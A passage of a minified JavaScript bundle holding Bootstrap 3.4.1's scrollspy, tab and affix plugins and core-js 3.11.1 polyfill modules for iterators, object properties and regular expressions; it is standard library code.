t=e(this),i=t.data("target")||t.attr("href"),a=/^#./.test(i)&&e(i);return a&&a.length&&a.is(":visible")&&[[a[n]().top+r,i]]||null})).sort((function(e,t){return e[0]-t[0]})).each((function(){t.offsets.push(this[0]),t.targets.push(this[1])}))},t.prototype.process=function(){var e,t=this.$scrollElement.scrollTop()+this.options.offset,n=this.getScrollHeight(),r=this.options.offset+n-this.$scrollElement.height(),i=this.offsets,a=this.targets,o=this.activeTarget;if(this.scrollHeight!=n&&this.refresh(),t>=r)return o!=(e=a[a.length-1])&&this.activate(e);if(o&&t<i[0])return this.activeTarget=null,this.clear();for(e=i.length;e--;)o!=a[e]&&t>=i[e]&&(void 0===i[e+1]||t<i[e+1])&&this.activate(a[e])},t.prototype.activate=function(t){this.activeTarget=t,this.clear();var n=this.selector+'[data-target="'+t+'"],'+this.selector+'[href="'+t+'"]',r=e(n).parents("li").addClass("active");r.parent(".dropdown-menu").length&&(r=r.closest("li.dropdown").addClass("active")),r.trigger("activate.bs.scrollspy")},t.prototype.clear=function(){e(this.selector).parentsUntil(this.options.target,".active").removeClass("active")};var r=e.fn.scrollspy;e.fn.scrollspy=n,e.fn.scrollspy.Constructor=t,e.fn.scrollspy.noConflict=function(){return e.fn.scrollspy=r,this},e(window).on("load.bs.scrollspy.data-api",(function(){e('[data-spy="scroll"]').each((function(){var t=e(this);n.call(t,t.data())}))}))}(r),function(e){"use strict";var t=function(t){this.element=e(t)};function n(n){return this.each((function(){var r=e(this),i=r.data("bs.tab");i||r.data("bs.tab",i=new t(this)),"string"==typeof n&&i[n]()}))}t.VERSION="3.4.1",t.TRANSITION_DURATION=150,t.prototype.show=function(){var t=this.element,n=t.closest("ul:not(.dropdown-menu)"),r=t.data("target");if(r||(r=(r=t.attr("href"))&&r.replace(/.*(?=#[^\s]*$)/,"")),!t.parent("li").hasClass("active")){var i=n.find(".active:last a"),a=e.Event("hide.bs.tab",{relatedTarget:t[0]}),o=e.Event("show.bs.tab",{relatedTarget:i[0]});if(i.trigger(a),t.trigger(o),!o.isDefaultPrevented()&&!a.isDefaultPrevented()){var s=e(document).find(r);this.activate(t.closest("li"),n),this.activate(s,s.parent(),(function(){i.trigger({type:"hidden.bs.tab",relatedTarget:t[0]}),t.trigger({type:"shown.bs.tab",relatedTarget:i[0]})}))}}},t.prototype.activate=function(n,r,i){var a=r.find("> .active"),o=i&&e.support.transition&&(a.length&&a.hasClass("fade")||!!r.find("> .fade").length);function s(){a.removeClass("active").find("> .dropdown-menu > .active").removeClass("active").end().find('[data-toggle="tab"]').attr("aria-expanded",!1),n.addClass("active").find('[data-toggle="tab"]').attr("aria-expanded",!0),o?(n[0].offsetWidth,n.addClass("in")):n.removeClass("fade"),n.parent(".dropdown-menu").length&&n.closest("li.dropdown").addClass("active").end().find('[data-toggle="tab"]').attr("aria-expanded",!0),i&&i()}a.length&&o?a.one("bsTransitionEnd",s).emulateTransitionEnd(t.TRANSITION_DURATION):s(),a.removeClass("in")};var r=e.fn.tab;e.fn.tab=n,e.fn.tab.Constructor=t,e.fn.tab.noConflict=function(){return e.fn.tab=r,this};var i=function(t){t.preventDefault(),n.call(e(this),"show")};e(document).on("click.bs.tab.data-api",'[data-toggle="tab"]',i).on("click.bs.tab.data-api",'[data-toggle="pill"]',i)}(r),function(e){"use strict";var t=function(n,r){this.options=e.extend({},t.DEFAULTS,r);var i=this.options.target===t.DEFAULTS.target?e(this.options.target):e(document).find(this.options.target);this.$target=i.on("scroll.bs.affix.data-api",e.proxy(this.checkPosition,this)).on("click.bs.affix.data-api",e.proxy(this.checkPositionWithEventLoop,this)),this.$element=e(n),this.affixed=null,this.unpin=null,this.pinnedOffset=null,this.checkPosition()};function n(n){return this.each((function(){var r=e(this),i=r.data("bs.affix"),a="object"==typeof n&&n;i||r.data("bs.affix",i=new t(this,a)),"string"==typeof n&&i[n]()}))}t.VERSION="3.4.1",t.RESET="affix affix-top affix-bottom",t.DEFAULTS={offset:0,target:window},t.prototype.getState=function(e,t,n,r){var i=this.$target.scrollTop(),a=this.$element.offset(),o=this.$target.height();if(null!=n&&"top"==this.affixed)return i<n&&"top";if("bottom"==this.affixed)return null!=n?!(i+this.unpin<=a.top)&&"bottom":!(i+o<=e-r)&&"bottom";var s=null==this.affixed,l=s?i:a.top;return null!=n&&i<=n?"top":null!=r&&l+(s?o:t)>=e-r&&"bottom"},t.prototype.getPinnedOffset=function(){if(this.pinnedOffset)return this.pinnedOffset;this.$element.removeClass(t.RESET).addClass("affix");var e=this.$target.scrollTop(),n=this.$element.offset();return this.pinnedOffset=n.top-e},t.prototype.checkPositionWithEventLoop=function(){setTimeout(e.proxy(this.checkPosition,this),1)},t.prototype.checkPosition=function(){if(this.$element.is(":visible")){var n=this.$element.height(),r=this.options.offset,i=r.top,a=r.bottom,o=Math.max(e(document).height(),e(document.body).height());"object"!=typeof r&&(a=i=r),"function"==typeof i&&(i=r.top(this.$element)),"function"==typeof a&&(a=r.bottom(this.$element));var s=this.getState(o,n,i,a);if(this.affixed!=s){null!=this.unpin&&this.$element.css("top","");var l="affix"+(s?"-"+s:""),u=e.Event(l+".bs.affix");if(this.$element.trigger(u),u.isDefaultPrevented())return;this.affixed=s,this.unpin="bottom"==s?this.getPinnedOffset():null,this.$element.removeClass(t.RESET).addClass(l).trigger(l.replace("affix","affixed")+".bs.affix")}"bottom"==s&&this.$element.offset({top:o-n-a})}};var r=e.fn.affix;e.fn.affix=n,e.fn.affix.Constructor=t,e.fn.affix.noConflict=function(){return e.fn.affix=r,this},e(window).on("load",(function(){e('[data-spy="affix"]').each((function(){var t=e(this),r=t.data();r.offset=r.offset||{},null!=r.offsetBottom&&(r.offset.bottom=r.offsetBottom),null!=r.offsetTop&&(r.offset.top=r.offsetTop),n.call(t,r)}))}))}(r)},3099:function(e){e.exports=function(e){if("function"!=typeof e)throw TypeError(String(e)+" is not a function");return e}},6077:function(e,t,n){var r=n(111);e.exports=function(e){if(!r(e)&&null!==e)throw TypeError("Can't set "+String(e)+" as a prototype");return e}},1223:function(e,t,n){var r=n(5112),i=n(30),a=n(3070),o=r("unscopables"),s=Array.prototype;null==s[o]&&a.f(s,o,{configurable:!0,value:i(null)}),e.exports=function(e){s[o][e]=!0}},1530:function(e,t,n){"use strict";var r=n(8710).charAt;e.exports=function(e,t,n){return t+(n?r(e,t).length:1)}},9670:function(e,t,n){var r=n(111);e.exports=function(e){if(!r(e))throw TypeError(String(e)+" is not an object");return e}},8533:function(e,t,n){"use strict";var r=n(2092).forEach,i=n(9341)("forEach");e.exports=i?[].forEach:function(e){return r(this,e,arguments.length>1?arguments[1]:void 0)}},8457:function(e,t,n){"use strict";var r=n(9974),i=n(7908),a=n(3411),o=n(7659),s=n(7466),l=n(7493),u=n(1246);e.exports=function(e){var t,n,c,d,f,h,m=i(e),p="function"==typeof this?this:Array,_=arguments.length,y=_>1?arguments[1]:void 0,g=void 0!==y,v=u(m),b=0;if(g&&(y=r(y,_>2?arguments[2]:void 0,2)),null==v||p==Array&&o(v))for(n=new p(t=s(m.length));t>b;b++)h=g?y(m[b],b):m[b],l(n,b,h);else for(f=(d=v.call(m)).next,n=new p;!(c=f.call(d)).done;b++)h=g?a(d,y,[c.value,b],!0):c.value,l(n,b,h);return n.length=b,n}},1318:function(e,t,n){var r=n(5656),i=n(7466),a=n(1400),o=function(e){return function(t,n,o){var s,l=r(t),u=i(l.length),c=a(o,u);if(e&&n!=n){for(;u>c;)if((s=l[c++])!=s)return!0}else for(;u>c;c++)if((e||c in l)&&l[c]===n)return e||c||0;return!e&&-1}};e.exports={includes:o(!0),indexOf:o(!1)}},2092:function(e,t,n){var r=n(9974),i=n(8361),a=n(7908),o=n(7466),s=n(5417),l=[].push,u=function(e){var t=1==e,n=2==e,u=3==e,c=4==e,d=6==e,f=7==e,h=5==e||d;return function(m,p,_,y){for(var g,v,b=a(m),w=i(b),M=r(p,_,3),L=o(w.length),k=0,Y=y||s,D=t?Y(m,L):n||f?Y(m,0):void 0;L>k;k++)if((h||k in w)&&(v=M(g=w[k],k,b),e))if(t)D[k]=v;else if(v)switch(e){case 3:return!0;case 5:return g;case 6:return k;case 2:l.call(D,g)}else switch(e){case 4:return!1;case 7:l.call(D,g)}return d?-1:u||c?c:D}};e.exports={forEach:u(0),map:u(1),filter:u(2),some:u(3),every:u(4),find:u(5),findIndex:u(6),filterOut:u(7)}},1194:function(e,t,n){var r=n(7293),i=n(5112),a=n(7392),o=i("species");e.exports=function(e){return a>=51||!r((function(){var t=[];return(t.constructor={})[o]=function(){return{foo:1}},1!==t[e](Boolean).foo}))}},9341:function(e,t,n){"use strict";var r=n(7293);e.exports=function(e,t){var n=[][e];return!!n&&r((function(){n.call(null,t||function(){throw 1},1)}))}},5417:function(e,t,n){var r=n(111),i=n(3157),a=n(5112)("species");e.exports=function(e,t){var n;return i(e)&&("function"!=typeof(n=e.constructor)||n!==Array&&!i(n.prototype)?r(n)&&null===(n=n[a])&&(n=void 0):n=void 0),new(void 0===n?Array:n)(0===t?0:t)}},3411:function(e,t,n){var r=n(9670),i=n(9212);e.exports=function(e,t,n,a){try{return a?t(r(n)[0],n[1]):t(n)}catch(t){throw i(e),t}}},7072:function(e,t,n){var r=n(5112)("iterator"),i=!1;try{var a=0,o={next:function(){return{done:!!a++}},return:function(){i=!0}};o[r]=function(){return this},Array.from(o,(function(){throw 2}))}catch(e){}e.exports=function(e,t){if(!t&&!i)return!1;var n=!1;try{var a={};a[r]=function(){return{next:function(){return{done:n=!0}}}},e(a)}catch(e){}return n}},4326:function(e){var t={}.toString;e.exports=function(e){return t.call(e).slice(8,-1)}},648:function(e,t,n){var r=n(1694),i=n(4326),a=n(5112)("toStringTag"),o="Arguments"==i(function(){return arguments}());e.exports=r?i:function(e){var t,n,r;return void 0===e?"Undefined":null===e?"Null":"string"==typeof(n=function(e,t){try{return e[t]}catch(e){}}(t=Object(e),a))?n:o?i(t):"Object"==(r=i(t))&&"function"==typeof t.callee?"Arguments":r}},9920:function(e,t,n){var r=n(6656),i=n(3887),a=n(1236),o=n(3070);e.exports=function(e,t){for(var n=i(t),s=o.f,l=a.f,u=0;u<n.length;u++){var c=n[u];r(e,c)||s(e,c,l(t,c))}}},4964:function(e,t,n){var r=n(5112)("match");e.exports=function(e){var t=/./;try{"/./"[e](t)}catch(n){try{return t[r]=!1,"/./"[e](t)}catch(e){}}return!1}},8544:function(e,t,n){var r=n(7293);e.exports=!r((function(){function e(){}return e.prototype.constructor=null,Object.getPrototypeOf(new e)!==e.prototype}))},4994:function(e,t,n){"use strict";var r=n(3383).IteratorPrototype,i=n(30),a=n(9114),o=n(8003),s=n(7497),l=function(){return this};e.exports=function(e,t,n){var u=t+" Iterator";return e.prototype=i(r,{next:a(1,n)}),o(e,u,!1,!0),s[u]=l,e}},8880:function(e,t,n){var r=n(9781),i=n(3070),a=n(9114);e.exports=r?function(e,t,n){return i.f(e,t,a(1,n))}:function(e,t,n){return e[t]=n,e}},9114:function(e){e.exports=function(e,t){return{enumerable:!(1&e),configurable:!(2&e),writable:!(4&e),value:t}}},7493:function(e,t,n){"use strict";var r=n(7593),i=n(3070),a=n(9114);e.exports=function(e,t,n){var o=r(t);o in e?i.f(e,o,a(0,n)):e[o]=n}},654:function(e,t,n){"use strict";var r=n(2109),i=n(4994),a=n(9518),o=n(7674),s=n(8003),l=n(8880),u=n(1320),c=n(5112),d=n(1913),f=n(7497),h=n(3383),m=h.IteratorPrototype,p=h.BUGGY_SAFARI_ITERATORS,_=c("iterator"),y="keys",g="values",v="entries",b=function(){return this};e.exports=function(e,t,n,c,h,w,M){i(n,t,c);var L,k,Y,D=function(e){if(e===h&&O)return O;if(!p&&e in S)return S[e];switch(e){case y:case g:case v:return function(){return new n(this,e)}}return function(){return new n(this)}},T=t+" Iterator",x=!1,S=e.prototype,j=S[_]||S["@@iterator"]||h&&S[h],O=!p&&j||D(h),C="Array"==t&&S.entries||j;if(C&&(L=a(C.call(new e)),m!==Object.prototype&&L.next&&(d||a(L)===m||(o?o(L,m):"function"!=typeof L[_]&&l(L,_,b)),s(L,T,!0,!0),d&&(f[T]=b))),h==g&&j&&j.name!==g&&(x=!0,O=function(){return j.call(this)}),d&&!M||S[_]===O||l(S,_,O),f[t]=O,h)if(k={values:D(g),keys:w?O:D(y),entries:D(v)},M)for(Y in k)(p||x||!(Y in S))&&u(S,Y,k[Y]);else r({target:t,proto:!0,forced:p||x},k);return k}},7235:function(e,t,n){var r=n(857),i=n(6656),a=n(6061),o=n(3070).f;e.exports=function(e){var t=r.Symbol||(r.Symbol={});i(t,e)||o(t,e,{value:a.f(e)})}},9781:function(e,t,n){var r=n(7293);e.exports=!r((function(){return 7!=Object.defineProperty({},1,{get:function(){return 7}})[1]}))},317:function(e,t,n){var r=n(7854),i=n(111),a=r.document,o=i(a)&&i(a.createElement);e.exports=function(e){return o?a.createElement(e):{}}},8324:function(e){e.exports={CSSRuleList:0,CSSStyleDeclaration:0,CSSValueList:0,ClientRectList:0,DOMRectList:0,DOMStringList:0,DOMTokenList:1,DataTransferItemList:0,FileList:0,HTMLAllCollection:0,HTMLCollection:0,HTMLFormElement:0,HTMLSelectElement:0,MediaList:0,MimeTypeArray:0,NamedNodeMap:0,NodeList:1,PaintRequestList:0,Plugin:0,PluginArray:0,SVGLengthList:0,SVGNumberList:0,SVGPathSegList:0,SVGPointList:0,SVGStringList:0,SVGTransformList:0,SourceBufferList:0,StyleSheetList:0,TextTrackCueList:0,TextTrackList:0,TouchList:0}},5268:function(e,t,n){var r=n(4326),i=n(7854);e.exports="process"==r(i.process)},8113:function(e,t,n){var r=n(5005);e.exports=r("navigator","userAgent")||""},7392:function(e,t,n){var r,i,a=n(7854),o=n(8113),s=a.process,l=s&&s.versions,u=l&&l.v8;u?i=(r=u.split("."))[0]+r[1]:o&&(!(r=o.match(/Edge\/(\d+)/))||r[1]>=74)&&(r=o.match(/Chrome\/(\d+)/))&&(i=r[1]),e.exports=i&&+i},748:function(e){e.exports=["constructor","hasOwnProperty","isPrototypeOf","propertyIsEnumerable","toLocaleString","toString","valueOf"]},2109:function(e,t,n){var r=n(7854),i=n(1236).f,a=n(8880),o=n(1320),s=n(3505),l=n(9920),u=n(4705);e.exports=function(e,t){var n,c,d,f,h,m=e.target,p=e.global,_=e.stat;if(n=p?r:_?r[m]||s(m,{}):(r[m]||{}).prototype)for(c in t){if(f=t[c],d=e.noTargetGet?(h=i(n,c))&&h.value:n[c],!u(p?c:m+(_?".":"#")+c,e.forced)&&void 0!==d){if(typeof f==typeof d)continue;l(f,d)}(e.sham||d&&d.sham)&&a(f,"sham",!0),o(n,c,f,e)}}},7293:function(e){e.exports=function(e){try{return!!e()}catch(e){return!0}}},7007:function(e,t,n){"use strict";n(4916);var r=n(1320),i=n(7293),a=n(5112),o=n(8880),s=a("species"),l=!i((function(){var e=/./;return e.exec=function(){var e=[];return e.groups={a:"7"},e},"7"!=="".replace(e,"$<a>")})),u="$0"==="a".replace(/./,"$0"),c=a("replace"),d=!!/./[c]&&""===/./[c]("a","$0"),f=!i((function(){var e=/(?:)/,t=e.exec;e.exec=function(){return t.apply(this,arguments)};var n="ab".split(e);return 2!==n.length||"a"!==n[0]||"b"!==n[1]}));e.exports=function(e,t,n,c){var h=a(e),m=!i((function(){var t={};return t[h]=function(){return 7},7!=""[e](t)})),p=m&&!i((function(){var t=!1,n=/a/;return"split"===e&&((n={}).constructor={},n.constructor[s]=function(){return n},n.flags="",n[h]=/./[h]),n.exec=function(){return t=!0,null},n[h](""),!t}));if(!m||!p||"replace"===e&&(!l||!u||d)||"split"===e&&!f){var _=/./[h],y=n(h,""[e],(function(e,t,n,r,i){return t.exec===RegExp.prototype.exec?m&&!i?{done:!0,value:_.call(t,n,r)}:{done:!0,value:e.call(n,t,r)}:{done:!1}}),{REPLACE_KEEPS_$0:u,REGEXP_REPLACE_SUBSTITUTES_UNDEFINED_CAPTURE:d}),g=y[0],v=y[1];r(String.prototype,e,g),r(RegExp.prototype,h,2==t?function(e,t){return v.call(e,this,t)}:function(e){return v.call(e,this)})}c&&o(RegExp.prototype[h],"sham",!0)}},9974:function(e,t,n){var r=n(3099);e.exports=function(e,t,n){if(r(e),void 0===t)return e;switch(n){case 0:return function(){return e.call(t)};case 1:return function(n){return e.call(t,n)};case 2:return function(n,r){return e.call(t,n,r)};case 3:return function(n,r,i){return e.call(t,n,r,i)}}return function(){return e.apply(t,arguments)}}},7065:function(e,t,n){"use strict";var r=n(3099),i=n(111),a=[].slice,o={},s=function(e,t,n){if(!(t in o)){for(var r=[],i=0;i<t;i++)r[i]="a["+i+"]";o[t]=Function("C,a","return new C("+r.join(",")+")")}return o[t](e,n)};e.exports=Function.bind||function(e){var t=r(this),n=a.call(arguments,1),o=function(){var r=n.concat(a.call(arguments));return this instanceof o?s(t,r.length,r):t.apply(e,r)};return i(t.prototype)&&(o.prototype=t.prototype),o}},5005:function(e,t,n){var r=n(857),i=n(7854),a=function(e){return"function"==typeof e?e:void 0};e.exports=function(e,t){return arguments.length<2?a(r[e])||a(i[e]):r[e]&&r[e][t]||i[e]&&i[e][t]}},1246:function(e,t,n){var r=n(648),i=n(7497),a=n(5112)("iterator");e.exports=function(e){if(null!=e)return e[a]||e["@@iterator"]||i[r(e)]}},647:function(e,t,n){var r=n(7908),i=Math.floor,a="".replace,o=/\$([$&'`]|\d{1,2}|<[^>]*>)/g,s=/\$([$&'`]|\d{1,2})/g;e.exports=function(e,t,n,l,u,c){var d=n+e.length,f=l.length,h=s;return void 0!==u&&(u=r(u),h=o),a.call(c,h,(function(r,a){var o;switch(a.charAt(0)){case"$":return"$";case"&":return e;case"`":return t.slice(0,n);case"'":return t.slice(d);case"<":o=u[a.slice(1,-1)];break;default:var s=+a;if(0===s)return r;if(s>f){var c=i(s/10);return 0===c?r:c<=f?void 0===l[c-1]?a.charAt(1):l[c-1]+a.charAt(1):r}o=l[s-1]}return void 0===o?"":o}))}},7854:function(e,t,n){var r=function(e){return e&&e.Math==Math&&e};e.exports=r("object"==typeof globalThis&&globalThis)||r("object"==typeof window&&window)||r("object"==typeof self&&self)||r("object"==typeof n.g&&n.g)||function(){return this}()||Function("return this")()},6656:function(e,t,n){var r=n(7908),i={}.hasOwnProperty;e.exports=function(e,t){return i.call(r(e),t)}},3501:function(e){e.exports={}},1003:function(e,t,n){var r=n(5005);e.exports=r("document","documentElement")},4664:function(e,t,n){var r=n(9781),i=n(7293),a=n(317);e.exports=!r&&!i((function(){return 7!=Object.defineProperty(a("div"),"a",{get:function(){return 7}}).a}))},8361:function(e,t,n){var r=n(7293),i=n(4326),a="".split;e.exports=r((function(){return!Object("z").propertyIsEnumerable(0)}))?function(e){return"String"==i(e)?a.call(e,""):Object(e)}:Object},2788:function(e,t,n){var r=n(5465),i=Function.toString;"function"!=typeof r.inspectSource&&(r.inspectSource=function(e){return i.call(e)}),e.exports=r.inspectSource},9909:function(e,t,n){var r,i,a,o=n(8536),s=n(7854),l=n(111),u=n(8880),c=n(6656),d=n(5465),f=n(6200),h=n(3501),m="Object already initialized",p=s.WeakMap;if(o){var _=d.state||(d.state=new p),y=_.get,g=_.has,v=_.set;r=function(e,t){if(g.call(_,e))throw new TypeError(m);return t.facade=e,v.call(_,e,t),t},i=function(e){return y.call(_,e)||{}},a=function(e){return g.call(_,e)}}else{var b=f("state");h[b]=!0,r=function(e,t){if(c(e,b))throw new TypeError(m);return t.facade=e,u(e,b,t),t},i=function(e){return c(e,b)?e[b]:{}},a=function(e){return c(e,b)}}e.exports={set:r,get:i,has:a,enforce:function(e){return a(e)?i(e):r(e,{})},getterFor:function(e){return function(t){var n;if(!l(t)||(n=i(t)).type!==e)throw TypeError("Incompatible receiver, "+e+" required");return n}}}},7659:function(e,t,n){var r=n(5112),i=n(7497),a=r("iterator"),o=Array.prototype;e.exports=function(e){return void 0!==e&&(i.Array===e||o[a]===e)}},3157:function(e,t,n){var r=n(4326);e.exports=Array.isArray||function(e){return"Array"==r(e)}},4705:function(e,t,n){var r=n(7293),i=/#|\.prototype\./,a=function(e,t){var n=s[o(e)];return n==u||n!=l&&("function"==typeof t?r(t):!!t)},o=a.normalize=function(e){return String(e).replace(i,".").toLowerCase()},s=a.data={},l=a.NATIVE="N",u=a.POLYFILL="P";e.exports=a},111:function(e){e.exports=function(e){return"object"==typeof e?null!==e:"function"==typeof e}},1913:function(e){e.exports=!1},7850:function(e,t,n){var r=n(111),i=n(4326),a=n(5112)("match");e.exports=function(e){var t;return r(e)&&(void 0!==(t=e[a])?!!t:"RegExp"==i(e))}},9212:function(e,t,n){var r=n(9670);e.exports=function(e){var t=e.return;if(void 0!==t)return r(t.call(e)).value}},3383:function(e,t,n){"use strict";var r,i,a,o=n(7293),s=n(9518),l=n(8880),u=n(6656),c=n(5112),d=n(1913),f=c("iterator"),h=!1;[].keys&&("next"in(a=[].keys())?(i=s(s(a)))!==Object.prototype&&(r=i):h=!0);var m=null==r||o((function(){var e={};return r[f].call(e)!==e}));m&&(r={}),d&&!m||u(r,f)||l(r,f,(function(){return this})),e.exports={IteratorPrototype:r,BUGGY_SAFARI_ITERATORS:h}},7497:function(e){e.exports={}},133:function(e,t,n){var r=n(5268),i=n(7392),a=n(7293);e.exports=!!Object.getOwnPropertySymbols&&!a((function(){return!Symbol.sham&&(r?38===i:i>37&&i<41)}))},8536:function(e,t,n){var r=n(7854),i=n(2788),a=r.WeakMap;e.exports="function"==typeof a&&/native code/.test(i(a))},3929:function(e,t,n){var r=n(7850);e.exports=function(e){if(r(e))throw TypeError("The method doesn't accept regular expressions");return e}},30:function(e,t,n){var r,i=n(9670),a=n(6048),o=n(748),s=n(3501),l=n(1003),u=n(317),c=n(6200),d=c("IE_PROTO"),f=function(){},h=function(e){return"<script>"+e+"</"+"script>"},m=function(){try{r=document.domain&&new ActiveXObject("htmlfile")}catch(e){}var e,t;m=r?function(e){e.write(h("")),e.close();var t=e.parentWindow.Object;return e=null,t}(r):((t=u("iframe")).style.display="none",l.appendChild(t),t.src=String("javascript:"),(e=t.contentWindow.document).open(),e.write(h("document.F=Object")),e.close(),e.F);for(var n=o.length;n--;)delete m.prototype[o[n]];return m()};s[d]=!0,e.exports=Object.create||function(e,t){var n;return null!==e?(f.prototype=i(e),n=new f,f.prototype=null,n[d]=e):n=m(),void 0===t?n:a(n,t)}},6048:function(e,t,n){var r=n(9781),i=n(3070),a=n(9670),o=n(1956);e.exports=r?Object.defineProperties:function(e,t){a(e);for(var n,r=o(t),s=r.length,l=0;s>l;)i.f(e,n=r[l++],t[n]);return e}},3070:function(e,t,n){var r=n(9781),i=n(4664),a=n(9670),o=n(7593),s=Object.defineProperty;t.f=r?s:function(e,t,n){if(a(e),t=o(t,!0),a(n),i)try{return s(e,t,n)}catch(e){}if("get"in n||"set"in n)throw TypeError("Accessors not supported");return"value"in n&&(e[t]=n.value),e}},1236:function(e,t,n){var r=n(9781),i=n(5296),a=n(9114),o=n(5656),s=n(7593),l=n(6656),u=n(4664),c=Object.getOwnPropertyDescriptor;t.f=r?c:function(e,t){if(e=o(e),t=s(t,!0),u)try{return c(e,t)}catch(e){}if(l(e,t))return a(!i.f.call(e,t),e[t])}},1156:function(e,t,n){var r=n(5656),i=n(8006).f,a={}.toString,o="object"==typeof window&&window&&Object.getOwnPropertyNames?Object.getOwnPropertyNames(window):[];e.exports.f=function(e){return o&&"[object Window]"==a.call(e)?function(e){try{return i(e)}catch(e){return o.slice()}}(e):i(r(e))}},8006:function(e,t,n){var r=n(6324),i=n(748).concat("length","prototype");t.f=Object.getOwnPropertyNames||function(e){return r(e,i)}},5181:function(e,t){t.f=Object.getOwnPropertySymbols},9518:function(e,t,n){var r=n(6656),i=n(7908),a=n(6200),o=n(8544),s=a("IE_PROTO"),l=Object.prototype;e.exports=o?Object.getPrototypeOf:function(e){return e=i(e),r(e,s)?e[s]:"function"==typeof e.constructor&&e instanceof e.constructor?e.constructor.prototype:e instanceof Object?l:null}},6324:function(e,t,n){var r=n(6656),i=n(5656),a=n(1318).indexOf,o=n(3501);e.exports=function(e,t){var n,s=i(e),l=0,u=[];for(n in s)!r(o,n)&&r(s,n)&&u.push(n);for(;t.length>l;)r(s,n=t[l++])&&(~a(u,n)||u.push(n));return u}},1956:function(e,t,n){var r=n(6324),i=n(748);e.exports=Object.keys||function(e){return r(e,i)}},5296:function(e,t){"use strict";var n={}.propertyIsEnumerable,r=Object.getOwnPropertyDescriptor,i=r&&!n.call({1:2},1);t.f=i?function(e){var t=r(this,e);return!!t&&t.enumerable}:n},7674:function(e,t,n){var r=n(9670),i=n(6077);e.exports=Object.setPrototypeOf||("__proto__"in{}?function(){var e,t=!1,n={};try{(e=Object.getOwnPropertyDescriptor(Object.prototype,"__proto__").set).call(n,[]),t=n instanceof Array}catch(e){}return function(n,a){return r(n),i(a),t?e.call(n,a):n.__proto__=a,n}}():void 0)},4699:function(e,t,n){var r=n(9781),i=n(1956),a=n(5656),o=n(5296).f,s=function(e){return function(t){for(var n,s=a(t),l=i(s),u=l.length,c=0,d=[];u>c;)n=l[c++],r&&!o.call(s,n)||d.push(e?[n,s[n]]:s[n]);return d}};e.exports={entries:s(!0),values:s(!1)}},288:function(e,t,n){"use strict";var r=n(1694),i=n(648);e.exports=r?{}.toString:function(){return"[object "+i(this)+"]"}},3887:function(e,t,n){var r=n(5005),i=n(8006),a=n(5181),o=n(9670);e.exports=r("Reflect","ownKeys")||function(e){var t=i.f(o(e)),n=a.f;return n?t.concat(n(e)):t}},857:function(e,t,n){var r=n(7854);e.exports=r},1320:function(e,t,n){var r=n(7854),i=n(8880),a=n(6656),o=n(3505),s=n(2788),l=n(9909),u=l.get,c=l.enforce,d=String(String).split("String");(e.exports=function(e,t,n,s){var l,u=!!s&&!!s.unsafe,f=!!s&&!!s.enumerable,h=!!s&&!!s.noTargetGet;"function"==typeof n&&("string"!=typeof t||a(n,"name")||i(n,"name",t),(l=c(n)).source||(l.source=d.join("string"==typeof t?t:""))),e!==r?(u?!h&&e[t]&&(f=!0):delete e[t],f?e[t]=n:i(e,t,n)):f?e[t]=n:o(t,n)})(Function.prototype,"toString",(function(){return"function"==typeof this&&u(this).source||s(this)}))},7651:function(e,t,n){var r=n(4326),i=n(2261);e.exports=function(e,t){var n=e.exec;if("function"==typeof n){var a=n.call(e,t);if("object"!=typeof a)throw TypeError("RegExp exec method returned something other than an Object or null");return a}if("RegExp"!==r(e))throw TypeError("RegExp#exec called on incompatible receiver");return i.call(e,t)}},2261:function(e,t,n){"use strict";var r,i,a=n(7066),o=n(2999),s=n(2309),l=RegExp.prototype.exec,u=s("native-string-replace",String.prototype.replace),c=l,d=(r=/a/,i=/b*/g,l.call(r,"a"),l.call(i,"a"),0!==r.lastIndex||0!==i.lastIndex),f=o.UNSUPPORTED_Y||o.BROKEN_CARET,h=void 0!==/()??/.exec("")[1];(d||h||f)&&(c=function(e){var t,n,r,i,o=this,s=f&&o.sticky,c=a.call(o),m=o.source,p=0,_=e;return s&&(-1===(c=c.replace("y","")).indexOf("g")&&(c+="g"),_=String(e).slice(o.lastIndex),o.lastIndex>0&&(!o.multiline||o.multiline&&"\n"!==e[o.lastIndex-1])&&(m="(?: "+m+")",_=" "+_,p++),n=new RegExp("^(?:"+m+")",c)),h&&(n=new RegExp("^"+m+"$(?!\\s)",c)),d&&(t=o.lastIndex),r=l.call(s?n:o,_),s?r?(r.input=r.input.slice(p),r[0]=r[0].slice(p),r.index=o.lastIndex,o.lastIndex+=r[0].length):o.lastIndex=0:d&&r&&(o.lastIndex=o.global?r.index+r[0].length:t),h&&r&&r.length>1&&u.call(r[0],n,(function(){for(i=1;i<arguments.length-2;i++)void 0===arguments[i]&&(r[i]=void 0)})),r}),e.exports=c},7066:function(e,t,n){"use strict";var r=n(9670);e.exports=function(){var e=r(this),t="";return e.global&&(t+="g"),e.ignoreCase&&(t+="i"),e.multiline&&(t+="m"),e.dotAll&&(t+="s"),e.unicode&&(t+="u"),e.sticky&&(t+="y"),t}},2999:function(e,t,n){"use strict";var r=n(7293);function i(e,t){return RegExp(e,t)}t.UNSUPPORTED_Y=r((function(){var e=i("a","y");return e.lastIndex=2,null!=e.exec("abcd")})),t.BROKEN_CARET=r((function(){var e=i("^r","gy");return e.lastIndex=2,null!=e.exec("str")}))},4488:function(e){e.exports=function(e){if(null==e)throw TypeError("Can't call method on "+e);return e}},3505:function(e,t,n){var r=n(7854),i=n(8880);e.exports=function(e,t){try{i(r,e,t)}catch(n){r[e]=t}return t}},8003:function(e,t,n){var r=n(3070).f,i=n(6656),a=n(5112)("toStringTag");e.exports=function(e,t,n){e&&!i(e=n?e:e.prototype,a)&&r(e,a,{configurable:!0,value:t})}},6200:function(e,t,n){var r=n(2309),i=n(9711),a=r("keys");e.exports=function(e){return a[e]||(a[e]=i(e))}},5465:function(e,t,n){var r=n(7854),i=n(3505),a="__core-js_shared__",o=r[a]||i(a,{});e.exports=o},2309:function(e,t,n){var r=n(1913),i=n(5465);(e.exports=function(e,t){return i[e]||(i[e]=void 0!==t?t:{})})("versions",[]).push({version:"3.11.1",mode:r?"pure":"global",copyright:"© 2021 Denis Pushkarev (zloirock.ru)"})},6707:function(e,t,n){var r=n(9670),i=n(3099),a=n(5112)("species");e.exports=function(e,t){var n,o=r(e).constructor;return void 0===o||null==(n=r(o)[a])?t:i(n)}},8710:function(e,t,n){var r=n(9958),i=n(4488),a=function(e){return function(t,n){var a,o,s=String(i(t)),l=r(n),u=s.length;return l<0||l>=u?e?"":void 